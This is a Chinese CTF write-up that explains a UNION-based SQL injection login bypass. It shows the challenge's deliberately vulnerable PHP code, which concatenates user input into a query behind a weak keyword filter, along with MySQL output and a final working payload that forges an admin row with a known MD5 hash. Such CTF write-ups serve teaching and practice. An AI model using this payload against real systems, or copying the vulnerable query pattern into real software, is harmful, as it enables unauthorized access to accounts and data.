来源为一道ctf题目

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";// 去除转义
if (get_magic_quotes_gpc()) {function stripslashes_deep($value){$value = is_array($value) ?array_map('stripslashes_deep', $value) :stripslashes($value);return $value;}$_POST = array_map('stripslashes_deep', $_POST);$_GET = array_map('stripslashes_deep', $_GET);$_COOKIE = array_map('stripslashes_deep', $_COOKIE);$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);if(preg_match("/\(|\)|\=|or/", $name)){die("do not hack me!");
}
else{if (!$result) {printf("Error: %s\n", mysqli_error($con));exit();}else{// echo '<pre>';$arr = mysqli_fetch_row($result);// print_r($arr);if($arr[1] == "admin"){if(md5($password) == $arr[2]){echo $flag;}else{die("wrong pass!");}}else{die("wrong user!");}}
}?>

首先查看源码得到一段base32编码的注释,利用base32解码发现为一段base64编码,在使用base64解码得到了下面的一条查询语句

select * from user where username = '$name'

通过代码审计发现要想得到FLAG就必须输入正确的用户名和密码,这里就有一个小技巧了

联合查询有个小特性,就是在查询不存在的数据时,会构建一个虚拟数据

mysql> select * from user;
+----+----------+----------------------------------+
| id | username | passwd                           |
+----+----------+----------------------------------+
|  1 | admin    | cdc9c819c7f8be2628d4180669009d28 |
+----+----------+----------------------------------+

user表中只有一条数据,当我们用联合查询时会产生下面这种结果

mysql> select * from user union select 1,2,3;
+----+----------+----------------------------------+
| id | username | passwd                           |
+----+----------+----------------------------------+
|  1 | admin    | cdc9c819c7f8be2628d4180669009d28 |
|  1 | 2        | 3                                |
+----+----------+----------------------------------+

那么我们将payload写成1' union select 1,'admin',md5(123),user表查出的数据就会变成下面这样

mysql> select * from user where username='1' union select 1,'admin',md5(123);
+----+----------+----------------------------------+
| id | username | passwd                           |
+----+----------+----------------------------------+
|  1 | admin    | 202cb962ac59075b964b07152d234b70 |
+----+----------+----------------------------------+

可以看到这张表中的password字段已经变成了123的MD5值。由于题目过滤了括号,所以我们最终的payload为1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#

此时只需要在密码字框输入123即可拿到flag


sql注入联合查询小技巧绕过验证相关推荐

  1. SQL注入-联合查询注入

    SQL注入-联合查询注入 一,原理 使用union select对两个表联合查询,注意两个表查询的字段数量要相同,不然会报错. 比如表一有2个字段,表二有4个字段,要想联合查询必须查询字段数量相等,就 ...

  2. SQL注入——联合查询注入

    0x01 SQL注入的原理 针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原 有SQL结构,达到编写程序时意料之外结果的攻击行为.其成因可以归结外一下 两个原因叠加造成的: 1 ...

  3. oracle中文字段名怎么查询_sql注入联合查询总结

    点击上方蓝色字关注我们 联合查询注入利用的前提: 前提条件:页面上有显示位 联合注入的过程: 1.判断注入点 2.判断是整型还是字符型 3.判断查询列数 4.判断显示位 5.获取所有数据库名 6.获取 ...

  4. SQL注入详解和简单绕过原理

    1.什么是SQL 结构化查询语言(Structured Query Language)简称SQL SQL使我们有能力访问数据库 2.什么是SQL注入 用户提交的数据可以被数据库解析执行 如果用户随随便 ...

  5. SQL注入-联合注入

    页面有显示位时 , 可用联合注入 本次以 SQLi 第一关为案例 第一步,判断注入类型 参数中添加 单引号 ' , 如果报错,说明后端没有过滤参数 , 即 存在注入 ?id=1' 从数据库的报错中我们 ...

  6. SQL注入——联合注入

    SQL注入原理:攻击者通过构造不同的SQL语句来实现对数据库的操作 SQL注入的本质:我们也能操作别人的数据库 数据库结构:库:就是一堆表组成的数据集合    表:类似Excel,有行和列组成的二维表 ...

  7. B站小迪安全笔记第十六天-SQL注入之查询方式及报错盲注

    前言: 当进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显 的原因可能是 SQL 语句查询方式的问题导致,这个时候我们需要用到相 关的报错或盲注进行后续操作,同时作为手工注入时,同时作为 ...

  8. sql集合.联合查询

    1.集合 集合:每一个sql查询的结果就是一个集合 select * from emp; 并集:取两个集合中所有元素 union all:表示取两个集合的并集,不删除重复元素 union:取两个集合的 ...

  9. sql  联合查询

    概述: 联合查询效率较高,举例子来说明联合查询:内联inner join .左联left outer join .右联right outer join .全联full outer join 的好处及用 ...

最新文章

  1. 基于DQN强化学习训练一个超级玛丽
  2. java垃圾回收机制_JVM的垃圾回收机制——垃圾回收算法
  3. python对文件中的关键词查找替换,实现自动获取配置
  4. 学习手机游戏原画设计需要多长时间?难学吗?
  5. 高斯核函数python代码_单类SVM:SVDD
  6. centos之mysql安装配置使用
  7. 机器学习算法中的偏差-方差权衡(Bias-Variance Tradeoff)
  8. 【文献阅读】Perceptual Generative Adversarial Networks for Small Object Detection –CVPR-2017
  9. 使用swoole作为MQTT客户端并接收实现即时消息推送
  10. python函数测试_Python测试函数的方法之一
  11. 洛谷P4074 [WC2013]糖果公园(莫队)
  12. 全球资产管理平台提供商:Charles River Development 应用
  13. retrofit2 上传图片
  14. 怎么下载全国水系图层
  15. python 股票收益数据统计(柱状图)
  16. 厦门大学计算机考研资料汇总
  17. 给你一台大疆无人机,你能用来做点啥?(二)-----——倾斜摄影建模
  18. 未来计算机畅想英语作文,畅想未来的生活英语作文
  19. 用turtle画美国队长盾牌
  20. 使用lib库模式打包vue组件及组件引用

热门文章

  1. 破解#34;星空极速#34;
  2. linux kernel5.* kworker+进程cpu持续高占用
  3. LaTex中插入花体字母
  4. matlab gpu 编程,实战:使用MATLAB进行GPU高级编程
  5. 会Python的淘宝商家可以横扫一切竞争对手,这就是会技术的魅力!(上)
  6. WEB端百度语音合成Demo
  7. 原神来源版搭建教程 2.7版本
  8. 如何预防企业内部数据泄密事件
  9. java上传图片(AmazonS3)
  10. Linux下把WIFI网卡设置成AP热点